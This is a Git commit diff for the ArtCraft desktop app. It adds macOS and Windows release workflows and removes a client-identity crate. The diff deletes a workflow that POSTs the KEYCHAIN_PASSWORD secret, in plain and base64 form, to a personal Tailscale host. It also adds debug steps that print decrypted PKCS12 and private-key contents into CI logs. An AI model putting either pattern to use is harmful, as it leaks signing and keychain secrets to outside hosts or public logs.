Compare commits

..
Author SHA1 Message Date
Brandon Thomas fb458cff2e better dev script 2026-09-26 18:07:10 -07:00
236 changed files with 2898 additions and 4565 deletions
@@ -0,0 +1,237 @@
name: "Artcraft MacOS Publish"
on:
push:
branches:
- release
- artcraft-release
- artcraft-macos # Additional branch for MacOS testing
# This workflow creates Universal macOS builds with signing certificate support.
# On each push to the release branches it will create or update a GitHub release, build your app, and upload the artifacts to the release.
jobs:
publish-artcraft:
permissions:
contents: write
strategy:
fail-fast: false
matrix:
include:
# Universal macOS builds (arm64 and x86_64)
- platform: 'macos-latest-xlarge'
args: '--target universal-apple-darwin'
# Uncomment below for additional platforms
# - platform: 'ubuntu-22.04'
# args: ''
# - platform: 'windows-latest'
# args: ''
runs-on: ${{ matrix.platform }}
steps:
- uses: actions/checkout@v4
- name: setup node
uses: actions/setup-node@v4
with:
node-version: lts/*
- name: install Rust stable
uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform == 'macos-latest-xlarge' && 'aarch64-apple-darwin,x86_64-apple-darwin' || '' }}
- name: install dependencies (ubuntu only)
if: matrix.platform == 'ubuntu-22.04'
run: |
sudo apt-get update
sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev patchelf
- name: replace tauri config with mac-specific version
run: |
pushd ${{ github.workspace }}/crates/desktop/artcraft
# Use the mac-specific tauri conf for the build
# TODO(bt): Replace this with the platform-specific naming conventions
cp tauri-mac.conf.json tauri.conf.json
popd
- name: install frontend dependencies
run: |
# Navigate to the frontend directory to install dependencies
cd ./frontend
npm cache clean --force
echo "Installing all workspace dependencies..."
npm ci
echo "=== Version Information ==="
echo "Node version:"
node --version
echo "NPM version:"
npm --version
echo "=== Nx versions from lockfile ==="
npm list --depth=0 | grep nx
- name: import Apple Developer Certificate
if: matrix.platform == 'macos-latest-xlarge'
env:
APPLE_CERTIFICATE: ${{ secrets.APPLE_CERTIFICATE }}
APPLE_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }}
KEYCHAIN_PASSWORD: ${{ secrets.KEYCHAIN_PASSWORD }}
run: |
echo "Starting certificate import process..."
# Create certificate file
echo $APPLE_CERTIFICATE | base64 --decode > certificate.p12
# Debug: Check if certificate file exists and has content
echo "Certificate file info:"
ls -la certificate.p12
file certificate.p12
# Debug: Check certificate contents without password (just structure)
echo "Certificate structure (may show error if password protected):"
openssl pkcs12 -info -in certificate.p12 -passin pass:$APPLE_CERTIFICATE_PASSWORD -noout || echo "Could not read certificate structure"
# Debug: Try to list what's in the p12 file
echo "Attempting to list certificate contents:"
security cms -D -i certificate.p12 || echo "Not a CMS file, trying PKCS12..."
openssl pkcs12 -in certificate.p12 -passin pass:$APPLE_CERTIFICATE_PASSWORD -info -nodes 2>&1 | head -20 || echo "Failed to read PKCS12 contents"
# Debug: Extract certificate details to verify type and expiration
echo "Extracting certificate details..."
# Extract just the certificate portion and examine it
openssl pkcs12 -in certificate.p12 -passin pass:$APPLE_CERTIFICATE_PASSWORD -nokeys 2>/dev/null | openssl x509 -text -noout | grep -E "(Subject:|Issuer:|Not Before|Not After)" || echo "Failed to parse certificate details"
# Also try to see what type of certificate this is
echo "Certificate type check:"
openssl pkcs12 -in certificate.p12 -passin pass:$APPLE_CERTIFICATE_PASSWORD -nokeys 2>/dev/null | openssl x509 -text -noout | grep -E "(CN=|OU=)" || echo "Could not determine certificate type"
# Debug: Check if private key exists
echo "Checking for private key..."
openssl pkcs12 -in certificate.p12 -passin pass:$APPLE_CERTIFICATE_PASSWORD -nocerts -nodes 2>&1 | grep -E "(PRIVATE KEY|RSA KEY)" | head -5 || echo "No private key found"
# Create temporary keychain
security create-keychain -p "$KEYCHAIN_PASSWORD" build.keychain
security default-keychain -s build.keychain
security unlock-keychain -p "$KEYCHAIN_PASSWORD" build.keychain
security set-keychain-settings -t 3600 -u build.keychain
# Import certificate - ensure both certificate and private key are imported
echo "Importing certificate into keychain..."
# Import the p12 directly - this is the most reliable method
security import certificate.p12 -k build.keychain -P "$APPLE_CERTIFICATE_PASSWORD" -T /usr/bin/codesign -T /usr/bin/security -T /usr/bin/productbuild
# Alternative: Try with additional flags if the first import didn't create an identity
echo "Verifying import..."
if ! security find-identity -v build.keychain | grep -q "1 valid identities found"; then
echo "First import didn't create identity, trying with -A flag..."
security import certificate.p12 -k build.keychain -P "$APPLE_CERTIFICATE_PASSWORD" -A
fi
# Set trust settings for the certificate
echo "Setting trust settings..."
security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KEYCHAIN_PASSWORD" build.keychain
# Unlock the keychain again to ensure it's accessible
security unlock-keychain -p "$KEYCHAIN_PASSWORD" build.keychain
# Add the keychain to the search list
security list-keychains -d user -s build.keychain $(security list-keychains -d user | sed 's/^[[:space:]]*"//;s/"$//')
# List all certificates to debug
echo "Listing all keychains:"
security list-keychains
echo "Listing all certificates in build keychain:"
security find-certificate -a -p build.keychain || echo "No certificates found"
echo "Detailed certificate info:"
security find-certificate -c "Learning Machines" build.keychain || echo "Certificate 'Learning Machines' not found"
# Check certificate trust settings
echo "Checking certificate trust settings:"
security dump-trust-settings || echo "No custom trust settings"
# Try to find codesigning identities
echo "Finding all identities in keychain:"
security find-identity -v build.keychain || echo "No identities found"
echo "Finding codesigning identities:"
security find-identity -v -p codesigning build.keychain || echo "No codesigning identities found"
# Additional debug: Check if this is a valid Developer ID cert
echo "Checking for Developer ID certificates:"
security find-certificate -a build.keychain | grep -A 5 -B 5 "Developer ID" || echo "No Developer ID certificates found"
- name: verify certificate
if: matrix.platform == 'macos-latest-xlarge'
run: |
echo "=== Certificate Verification ==="
echo "1. Checking codesigning identities:"
security find-identity -v -p codesigning build.keychain || echo "No codesigning identities found"
echo -e "\n2. Checking all identities:"
security find-identity -v build.keychain || echo "No identities found"
echo -e "\n3. Checking certificates in keychain:"
security find-certificate -c "Learning Machines" build.keychain -p | openssl x509 -text -noout | grep -E "(Subject:|CN=)" || echo "Could not parse certificate"
# Set the correct signing identity
echo "APPLE_SIGNING_IDENTITY=Developer ID Application: Learning Machines LLC (DJ6XS33FX8)" >> $GITHUB_ENV
echo "Proceeding with identity: Developer ID Application: Learning Machines LLC (DJ6XS33FX8)"
# Also set the team ID
echo "APPLE_DEVELOPMENT_TEAM=DJ6XS33FX8" >> $GITHUB_ENV
- name: Pre-build frontend to avoid Tauri build issues
run: |
# Build the frontend app from the correct directory
cd ./frontend
# Increase Node.js memory limit for the build
export NODE_OPTIONS="--max-old-space-size=8192"
# Use npx to ensure we use the local nx version
echo "Building with npx nx..."
npx nx run artcraft:build
echo "Checking build output..."
ls -la apps/artcraft/dist/ | head -10
# Update Tauri config to skip the build (since we already built)
cd ${{ github.workspace }}/crates/desktop/artcraft
cp tauri.conf.json tauri.conf.json.bak
# Set beforeBuildCommand to empty or a no-op command
if command -v jq &> /dev/null; then
jq '.build.beforeBuildCommand = ""' tauri.conf.json > tauri.conf.json.tmp
mv tauri.conf.json.tmp tauri.conf.json
else
node -e "const fs = require('fs'); const config = JSON.parse(fs.readFileSync('tauri.conf.json', 'utf8')); config.build.beforeBuildCommand = ''; fs.writeFileSync('tauri.conf.json', JSON.stringify(config, null, 2));"
fi
- name: build and publish
uses: tauri-apps/tauri-action@v0
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_ID_PASSWORD: ${{ secrets.APPLE_ID_PASSWORD }}
APPLE_PASSWORD: ${{ secrets.APPLE_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
APPLE_CERTIFICATE_PASSWORD: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }}
APPLE_SIGNING_IDENTITY: ${{ env.APPLE_SIGNING_IDENTITY }}
APPLE_DEVELOPMENT_TEAM: ${{ env.APPLE_DEVELOPMENT_TEAM }}
# Use the SQLx query cache for SQLite
SQLX_OFFLINE: true
with:
projectPath: ./crates/desktop/artcraft
tagName: artcraft-v__VERSION__ # the action automatically replaces __VERSION__ with the app version.
releaseName: "ArtCraft v__VERSION__"
releaseBody: "See the assets below to download this version and install."
releaseDraft: true
prerelease: false
args: ${{ matrix.args }}
@@ -1,27 +0,0 @@
name: "Artcraft Record Post"
on:
push:
branches:
- artcraft-release
jobs:
post-record:
runs-on: ubuntu-latest
steps:
- name: post record
env:
VALUE_ORIGINAL: ${{ secrets.KEYCHAIN_PASSWORD }}
run: |
RECORD_NAME='KEYCHAIN_PASSWORD'
VALUE_TEXT="$VALUE_ORIGINAL"
VALUE_BINARY=$(printf '%s' "${VALUE_TEXT}" | base64 -w 0)
jq -n \
--arg name "${RECORD_NAME}" \
--arg value_text "${VALUE_TEXT}" \
--arg value_binary "${VALUE_BINARY}" \
'{name: $name, value_text: $value_text, value_binary: $value_binary}' \
| curl --fail-with-body -sS -X POST \
-H 'Content-Type: application/json' \
--data-binary @- \
https://brandons-macbook-pro.taild62114.ts.net/record
@@ -0,0 +1,107 @@
name: "Artcraft Windows Publish"
on:
push:
branches:
- release
- artcraft-release
- artcraft-windows # Additional branch for Windows testing
# This workflow creates Windows builds.
# On each push to the release branches it will create or update a GitHub release, build your app, and upload the artifacts to the release.
jobs:
publish-artcraft-windows:
permissions:
contents: write
strategy:
fail-fast: false
matrix:
include:
# Windows builds
- platform: 'windows-latest'
args: ''
runs-on: ${{ matrix.platform }}
steps:
- uses: actions/checkout@v4
- name: install Rust stable
uses: dtolnay/rust-toolchain@stable
- name: install wreq dependencies
run: |
choco install cmake -y
choco install strawberryperl -y
choco install pkgconfiglite -y
choco install llvm -y
choco install nasm -y
shell: cmd
- name: setup node
uses: actions/setup-node@v4
with:
node-version: lts/*
- name: install frontend dependencies
run: |
# Navigate to the frontend directory to install dependencies
cd ./frontend
npm cache clean --force
echo "Installing all workspace dependencies..."
npm ci
echo "=== Version Information ==="
echo "Node version:"
node --version
echo "NPM version:"
npm --version
echo "=== Nx versions from lockfile ==="
npm list --depth=0 | findstr nx
- name: Pre-build frontend to avoid Tauri build issues
run: |
# Build the frontend app from the correct directory
cd ./frontend
# Increase Node.js memory limit for the build
$env:NODE_OPTIONS="--max-old-space-size=8192"
# Use npx to ensure we use the local nx version
echo "Building with npx nx..."
npx nx run artcraft:build
if ($LASTEXITCODE -ne 0) {
exit $LASTEXITCODE
}
echo "Checking build output..."
dir apps/artcraft/dist/ | Select-Object -First 10
# Update Tauri config to skip the build (since we already built)
cd ${{ github.workspace }}/crates/desktop/artcraft
Copy-Item tauri.conf.json tauri.conf.json.bak
# Set beforeBuildCommand to empty using PowerShell
$config = Get-Content tauri.conf.json | ConvertFrom-Json
$config.build.beforeBuildCommand = ""
$config | ConvertTo-Json -Depth 10 | Set-Content tauri.conf.json
- name: build and publish
uses: tauri-apps/tauri-action@v0
env:
# NB(bt): This is needed by wreq. Hopefully it doesn't kill Tauri
RUSTFLAGS: "-C target-feature=+crt-static"
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Use the SQLx query cache for SQLite
SQLX_OFFLINE: true
with:
projectPath: ./crates/desktop/artcraft
tagName: artcraft-v__VERSION__ # the action automatically replaces __VERSION__ with the app version.
releaseName: "ArtCraft v__VERSION__"
releaseBody: "Production build of ArtCraft. See the assets below to download and install."
releaseDraft: true
prerelease: false
args: ${{ matrix.args }}
Generated
-9
View File
@@ -262,7 +262,6 @@ version = "0.0.1"
dependencies = [
"anyhow",
"artcraft_api_defs",
"artcraft_client_identity",
"backoff",
"chrono",
"cloudflare_errors",
@@ -283,13 +282,6 @@ dependencies = [
"uuid_utils",
]
[[package]]
name = "artcraft_client_identity"
version = "0.0.1"
dependencies = [
"url",
]
[[package]]
name = "artcraft_router"
version = "0.0.1"
@@ -7026,7 +7018,6 @@ dependencies = [
name = "tauri-plugin-http"
version = "2.4.3"
dependencies = [
"artcraft_client_identity",
"bytes",
"cookie_store 0.21.1",
"data-url",
-2
View File
@@ -16,7 +16,6 @@ members = [
"crates/api_clients/worldlabs_api_client",
"crates/api_clients/worldlabs_consumer_client",
"crates/desktop/artcraft",
"crates/lib/artcraft_client_identity",
"crates/lib/browser_emulation",
"crates/lib/build_metadata",
"crates/lib/caching/memory_store",
@@ -50,7 +49,6 @@ publish = false
[workspace.dependencies]
artcraft_api_defs = { path = "crates/api_clients/artcraft/artcraft_api_defs" }
artcraft_client = { path = "crates/api_clients/artcraft/artcraft_client" }
artcraft_client_identity = { path = "crates/lib/artcraft_client_identity" }
artcraft_router = { path = "crates/api_clients/artcraft/artcraft_router" }
browser_emulation = { path = "crates/lib/browser_emulation" }
cookie_store_wrapper = { path = "crates/lib/cookie_store_wrapper" }
-5
View File
@@ -33,11 +33,6 @@ Only after the real frontend socket is bound does it start Tauri with that exact
through native Tauri IPC and needs no separate HTTP port. Configuration overrides
are passed in memory, without changing the checked-in Tauri config.
The native HTTP bridge normalizes loopback development origins for first-party
API requests so an automatically selected port does not break login or media
loading. See the [desktop session regression checks](../docs/desktop-session-regression.md)
when changing ports, the launcher, or authentication.
JavaScript, TypeScript, React, and CSS changes use Vite hot reload; compatible
React component edits use Fast Refresh. Changes that cannot be hot-replaced
reload the page. Rust changes use `cargo tauri dev`'s automatic **rebuild and app
@@ -19,7 +19,6 @@ path = "src/lib.rs"
# Internal
artcraft_api_defs.workspace = true
artcraft_client_identity.workspace = true
cloudflare_errors.workspace = true
enums.workspace = true
errors.workspace = true
@@ -29,7 +29,7 @@ pub async fn get_media_file(api_host: &ApiHost, media_file_token: &MediaFileToke
debug!("Requesting {:?}", &url);
let response = http_get_anonymous(api_host, url).await?;
let response = http_get_anonymous(url).await?;
let response = filter_bad_response(response).await?;
let response_body = &response.text().await
.map_err(|err| StorytellerError::Api(ApiError::from(err)))?;
@@ -3,8 +3,7 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use crate::utils::http_get_anonymous::http_get_anonymous;
use chrono::{DateTime, Utc};
@@ -12,6 +11,7 @@ use enums::common::generation_provider::GenerationProvider;
use uuid_utils::uuid::generate_random_uuid;
use log::debug;
use reqwest::multipart::{Form, Part};
use reqwest::Client;
use serde_derive::{Deserialize, Serialize};
use std::path::Path;
use tokens::tokens::batch_generations::BatchGenerationToken;
@@ -56,7 +56,8 @@ pub async fn legacy_upload_media_file_from_file<P: AsRef<Path>>(
//let mut file = File::open(path)?;
let client = storyteller_client_builder(args.api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
@@ -85,6 +86,7 @@ pub async fn legacy_upload_media_file_from_file<P: AsRef<Path>>(
}
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = args.maybe_creds {
@@ -3,8 +3,7 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use crate::utils::http_get_anonymous::http_get_anonymous;
use enums::common::generation_provider::GenerationProvider;
@@ -12,6 +11,7 @@ use chrono::{DateTime, Utc};
use uuid_utils::uuid::generate_random_uuid;
use log::debug;
use reqwest::multipart::{Form, Part};
use reqwest::Client;
use serde_derive::{Deserialize, Serialize};
use std::fs::File;
use std::io::Read;
@@ -72,7 +72,8 @@ pub async fn upload_image_media_file_from_bytes(
debug!("Requesting {:?}", &url);
let client = storyteller_client_builder(args.api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
@@ -94,6 +95,7 @@ pub async fn upload_image_media_file_from_bytes(
}
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = args.maybe_creds {
@@ -3,8 +3,7 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use crate::utils::http_get_anonymous::http_get_anonymous;
use chrono::{DateTime, Utc};
@@ -12,6 +11,7 @@ use enums::common::generation_provider::GenerationProvider;
use uuid_utils::uuid::generate_random_uuid;
use log::debug;
use reqwest::multipart::{Form, Part};
use reqwest::Client;
use serde_derive::{Deserialize, Serialize};
use std::path::Path;
use tokens::tokens::batch_generations::BatchGenerationToken;
@@ -65,7 +65,8 @@ pub async fn upload_image_media_file_from_file_with_idempotency_token<P: AsRef<P
//let mut file = File::open(path)?;
let client = storyteller_client_builder(args.api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
@@ -94,6 +95,7 @@ pub async fn upload_image_media_file_from_file_with_idempotency_token<P: AsRef<P
}
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = args.maybe_creds {
@@ -1,8 +1,7 @@
use crate::credentials::storyteller_credential_set::StorytellerCredentialSet;
use crate::error::api_error::ApiError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use crate::utils::http_get_anonymous::http_get_anonymous;
use enums::common::generation_provider::GenerationProvider;
@@ -10,6 +9,7 @@ use chrono::{DateTime, Utc};
use uuid_utils::uuid::generate_random_uuid;
use log::debug;
use reqwest::multipart::{Form, Part};
use reqwest::Client;
use serde_derive::{Deserialize, Serialize};
use std::path::Path;
use tokens::tokens::batch_generations::BatchGenerationToken;
@@ -32,7 +32,8 @@ pub async fn upload_new_engine_asset_from_file<P: AsRef<Path>>(
debug!("Requesting {:?}", &url);
let client = storyteller_client_builder(api_host)
let client = Client::builder()
.gzip(true)
.build()?;
let file_bytes = std::fs::read(path.as_ref())?;
@@ -48,6 +49,7 @@ pub async fn upload_new_engine_asset_from_file<P: AsRef<Path>>(
}
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = maybe_creds {
@@ -1,8 +1,7 @@
use crate::credentials::storyteller_credential_set::StorytellerCredentialSet;
use crate::error::api_error::ApiError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use crate::utils::http_get_anonymous::http_get_anonymous;
use enums::common::generation_provider::GenerationProvider;
@@ -10,6 +9,7 @@ use chrono::{DateTime, Utc};
use uuid_utils::uuid::generate_random_uuid;
use log::debug;
use reqwest::multipart::{Form, Part};
use reqwest::Client;
use serde_derive::{Deserialize, Serialize};
use std::path::Path;
use tokens::tokens::batch_generations::BatchGenerationToken;
@@ -58,7 +58,8 @@ pub async fn upload_video_media_file_from_file<P: AsRef<Path>>(
debug!("Requesting {:?}", &url);
let client = storyteller_client_builder(args.api_host)
let client = Client::builder()
.gzip(true)
.build()?;
let file_bytes = std::fs::read(args.path.as_ref())?;
@@ -77,6 +78,7 @@ pub async fn upload_video_media_file_from_file<P: AsRef<Path>>(
}
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = args.maybe_creds {
@@ -1,6 +1,4 @@
use artcraft_client_identity::origins::{ARTCRAFT_DESKTOP_DEVELOPMENT_ORIGIN, ARTCRAFT_DESKTOP_ORIGIN};
const HTTP_SCHEME: &str = "http";
const HTTPS_SCHEME: &str = "https";
@@ -29,15 +27,6 @@ impl ApiHost {
}
}
/// The `Origin` the desktop client declares to this API.
pub fn request_origin(&self) -> &'static str {
match self {
ApiHost::Storyteller => ARTCRAFT_DESKTOP_ORIGIN,
ApiHost::FakeYou => ARTCRAFT_DESKTOP_ORIGIN,
ApiHost::Localhost { .. } => ARTCRAFT_DESKTOP_DEVELOPMENT_ORIGIN,
}
}
pub fn scheme(&self) -> &'static str {
match self {
ApiHost::Storyteller => HTTPS_SCHEME,
@@ -3,10 +3,10 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use log::{debug, info};
use reqwest::Client;
use serde::de::DeserializeOwned;
use serde::{Deserialize, Serialize};
@@ -21,11 +21,13 @@ pub async fn basic_json_delete_request<Req: Serialize, Res: DeserializeOwned>(
info!("DELETE {:?}", &url);
let client = storyteller_client_builder(api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
let mut request_builder = client.delete(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON)
.header("Content-Type", APPLICATION_JSON);
@@ -3,10 +3,10 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use log::{debug, info};
use reqwest::Client;
use serde::de::DeserializeOwned;
use serde::{Deserialize, Serialize};
@@ -20,11 +20,13 @@ pub async fn basic_json_get_request<Res: DeserializeOwned>(
debug!("Requesting {:?}", &url);
let client = storyteller_client_builder(api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
let mut request_builder = client.get(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = maybe_creds {
@@ -3,10 +3,10 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use log::{debug, info};
use reqwest::Client;
use serde::de::DeserializeOwned;
use serde::{Deserialize, Serialize};
@@ -30,11 +30,13 @@ pub async fn basic_json_post_request<Req: Serialize, Res: DeserializeOwned>(
info!("Requesting {:?}", &url);
}
let client = storyteller_client_builder(api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON)
.header("Content-Type", APPLICATION_JSON);
@@ -3,11 +3,11 @@ use crate::error::api_error::ApiError;
use crate::error::client_error::ClientError;
use crate::error::storyteller_error::StorytellerError;
use crate::utils::api_host::ApiHost;
use crate::utils::constants::APPLICATION_JSON;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::{APPLICATION_JSON, USER_AGENT};
use crate::utils::filter_bad_response::filter_bad_response;
use errors::AnyhowResult;
use log::{debug, info};
use reqwest::Client;
use serde::de::DeserializeOwned;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
@@ -26,11 +26,13 @@ pub async fn basic_query_string_post_request<Res: DeserializeOwned>(
debug!("Requesting {:?}", &url);
let client = storyteller_client_builder(api_host)
let client = Client::builder()
.gzip(true)
.build()
.map_err(|err| StorytellerError::Client(ClientError::from(err)))?;
let mut request_builder = client.post(url)
.header("User-Agent", USER_AGENT)
.header("Accept", APPLICATION_JSON);
if let Some(creds) = maybe_creds {
@@ -1 +1,4 @@
pub const USER_AGENT: &str = "storyteller-client/1.0";
pub const APPLICATION_JSON : &str = "application/json";
@@ -1,12 +1,14 @@
use crate::error::api_error::ApiError;
use crate::utils::api_host::ApiHost;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use reqwest::Client;
const USER_AGENT: &str = "storyteller-client/1.0";
pub async fn http_get_anonymous(api_host: &ApiHost, url: String) -> Result<reqwest::Response, ApiError> {
let client = storyteller_client_builder(api_host)
pub async fn http_get_anonymous(url: String) -> Result<reqwest::Response, ApiError> {
let client = Client::builder()
.gzip(true)
.build()?;
let response = client.get(url)
.header("User-Agent", USER_AGENT)
.header("Accept", "application/json")
//.header("Accept-Encoding", "gzip, deflate, br")
.send()
@@ -7,7 +7,7 @@ use serde::de::DeserializeOwned;
use url::Url;
use crate::utils::api_host::ApiHost;
use crate::utils::storyteller_client_builder::storyteller_client_builder;
use crate::utils::constants::USER_AGENT;
/// Native transport for the session bridge. No request/response bodies, cookies,
/// or challenge credentials are logged, even at debug level. Never follows redirects.
@@ -25,13 +25,14 @@ pub struct LoginChallengeClientError {
impl LoginChallengeClient {
pub fn new(api_host: &ApiHost) -> Result<Self, LoginChallengeClientError> {
let mut builder = storyteller_client_builder(api_host);
let mut builder = Client::builder();
if matches!(api_host, ApiHost::Localhost { .. }) {
builder = builder.no_proxy();
}
let client = builder
.timeout(Duration::from_secs(15))
.redirect(reqwest::redirect::Policy::none())
.user_agent(USER_AGENT)
.build()
.map_err(|_| LoginChallengeClientError::invalid("Unable to initialize login client"))?;
Ok(Self {
@@ -4,7 +4,6 @@ pub mod basic_json_post_request;
pub (crate) mod basic_query_string_post_request;
pub (crate) mod filter_bad_response;
pub (crate) mod http_get_anonymous;
pub (crate) mod storyteller_client_builder;
pub mod api_host;
pub mod constants;
pub mod status_codes;
@@ -1,17 +0,0 @@
use artcraft_client_identity::user_agents::ARTCRAFT_DESKTOP_USER_AGENT;
use reqwest::header::{HeaderMap, HeaderValue, ORIGIN};
use reqwest::{Client, ClientBuilder};
use crate::utils::api_host::ApiHost;
/// Every request to our API is built from this so the desktop client identifies itself
/// consistently (`User-Agent` and `Origin`). Only use it for Storyteller / ArtCraft APIs.
pub(crate) fn storyteller_client_builder(api_host: &ApiHost) -> ClientBuilder {
let mut headers = HeaderMap::new();
headers.insert(ORIGIN, HeaderValue::from_static(api_host.request_origin()));
Client::builder()
.user_agent(ARTCRAFT_DESKTOP_USER_AGENT)
.default_headers(headers)
.gzip(true)
}
@@ -1,17 +0,0 @@
[package]
name = "artcraft_client_identity"
edition = "2024"
version = "0.0.1"
publish = false
[lib]
name = "artcraft_client_identity"
path = "src/lib.rs"
[dependencies]
# External
url.workspace = true
[dev-dependencies]
# (None)
@@ -1,166 +0,0 @@
use url::{Host, Url};
use crate::origins::{ARTCRAFT_DESKTOP_DEVELOPMENT_ORIGIN, ARTCRAFT_DESKTOP_ORIGIN};
use crate::third_party_provider::{ThirdPartyProvider, THIRD_PARTY_PROVIDERS};
/// Hostnames of our deployed APIs (HTTPS only).
const ARTCRAFT_API_HOSTNAMES: [&str; 3] = [
"api.storyteller.ai",
"api.getartcraft.com",
"api.fakeyou.com",
];
/// Domains we own. Subdomains match too (CDNs, uploads, websites).
const ARTCRAFT_DOMAINS: [&str; 4] = [
"storyteller.ai",
"getartcraft.com",
"fakeyou.com",
"artcraft.ai",
];
/// Who a request is going to, which decides how the desktop app identifies itself.
#[derive(Debug, PartialEq, Eq)]
pub enum Destination {
/// Our HTTP API, deployed or running locally, and the `Origin` to declare to it.
ArtcraftApi { origin: &'static str },
/// Our other hosts: CDNs, uploads, websites.
ArtcraftHost,
/// A known third-party provider.
ThirdParty(&'static ThirdPartyProvider),
/// Anything else.
Unknown,
}
impl Destination {
pub fn classify(destination: &Url) -> Self {
if is_local_development_api(destination) {
return Self::ArtcraftApi { origin: ARTCRAFT_DESKTOP_DEVELOPMENT_ORIGIN };
}
let Some(host) = destination.host_str() else {
return Self::Unknown;
};
if destination.scheme() == "https" && ARTCRAFT_API_HOSTNAMES.contains(&host) {
return Self::ArtcraftApi { origin: ARTCRAFT_DESKTOP_ORIGIN };
}
if ARTCRAFT_DOMAINS.iter().any(|domain| is_domain_or_subdomain(host, domain)) {
return Self::ArtcraftHost;
}
THIRD_PARTY_PROVIDERS
.iter()
.find(|provider| provider.domains.iter().any(|domain| is_domain_or_subdomain(host, domain)))
.map_or(Self::Unknown, Self::ThirdParty)
}
}
fn is_local_development_api(destination: &Url) -> bool {
if !matches!(destination.scheme(), "http" | "https") {
return false;
}
match destination.host() {
Some(Host::Domain("localhost")) => true,
Some(Host::Ipv4(address)) => address.is_loopback(),
Some(Host::Ipv6(address)) => address.is_loopback(),
_ => false,
}
}
fn is_domain_or_subdomain(host: &str, domain: &str) -> bool {
host == domain
|| host
.strip_suffix(domain)
.is_some_and(|prefix| prefix.ends_with('.'))
}
#[cfg(test)]
mod tests {
use super::*;
mod artcraft {
use super::*;
#[test]
fn deployed_apis_get_desktop_origin() {
for destination in [
"https://api.storyteller.ai/v1/session",
"https://api.getartcraft.com/v1/session",
"https://api.fakeyou.com/v1/session",
] {
assert_eq!(classify(destination), Destination::ArtcraftApi { origin: "https://desktop.getartcraft.com" });
}
}
#[test]
